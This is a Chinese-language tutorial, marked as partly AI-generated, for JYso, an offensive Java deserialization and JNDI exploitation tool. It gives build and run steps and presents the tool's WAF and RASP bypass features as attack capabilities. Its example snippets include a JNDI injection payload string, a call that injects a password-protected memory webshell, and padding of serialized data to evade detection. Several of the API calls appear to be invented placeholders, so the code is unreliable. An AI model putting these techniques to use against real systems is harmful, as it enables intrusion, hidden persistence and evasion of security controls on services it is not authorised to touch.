JYso 项目教程
1. 项目介绍
JYso 是一款多功能工具,可以同时作为 JNDIExploit 和 ysoserial 使用。它具备多种 JNDI 高版本、WAF、RASP 的 Bypass 功能,支持自定义修改内存马的路径、密码、验证的 HTTP 头与值,并且支持无文件落地 Agent 打入。JYso 还支持将内存马写入 JRE 或环境变量来隐藏,序列化数据加脏数据,以及进行 3 字节对应的 UTF-8 编码。此外,JYso 还支持 TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减,以及 SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单。
2. 项目快速启动
2.1 环境准备
确保你已经安装了 Java 和 Gradle。JYso 需要 Gradle 8.7+ 版本。
2.2 下载项目
git clone https://github.com/qi4L/JYso.git
cd JYso
2.3 编译项目
在项目根目录下执行以下命令进行编译:
./gradlew shadowJar
2.4 运行 JYso
编译完成后,生成的 JAR 文件位于 build/libs/ 目录下。你可以通过以下命令运行 JYso:
java -jar build/libs/JYso-all.jar
3. 应用案例和最佳实践
3.1 JNDI 注入攻击
JYso 可以用于执行 JNDI 注入攻击,绕过高版本的 JNDI 限制。以下是一个简单的示例:
String jndiUrl = "ldap://localhost:1389/Exploit";
String payload = "${jndi:" + jndiUrl + "}";
3.2 内存马注入
JYso 支持将内存马注入到目标系统中,以下是一个示例:
String memShellPath = "/path/to/memshell";
String memShellPassword = "password";
String httpHeader = "X-Auth";
String httpHeaderValue = "secret";
// 使用 JYso 注入内存马
JYso.injectMemShell(memShellPath, memShellPassword, httpHeader, httpHeaderValue);
3.3 序列化数据加脏数据
JYso 支持在序列化数据中加入脏数据,以绕过某些安全检测:
byte[] serializedData = ...; // 原始序列化数据
byte[] dirtyData = ...; // 脏数据
byte[] obfuscatedData = JYso.addDirtyData(serializedData, dirtyData);
4. 典型生态项目
4.1 Rogue JNDI
Rogue JNDI 是一个用于 JNDI 注入攻击的工具,JYso 可以与其结合使用,增强攻击效果。
4.2 ysoserial
ysoserial 是一个常用的 Java 反序列化漏洞利用工具,JYso 可以作为 ysoserial 的替代品,提供更多的功能和灵活性。
4.3 JNDI-Injection-Exploit
JNDI-Injection-Exploit 是一个专门用于 JNDI 注入攻击的工具,JYso 可以与其结合使用,提供更强大的攻击能力。
通过以上教程,你可以快速上手 JYso 项目,并了解其在实际应用中的使用方法和最佳实践。
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



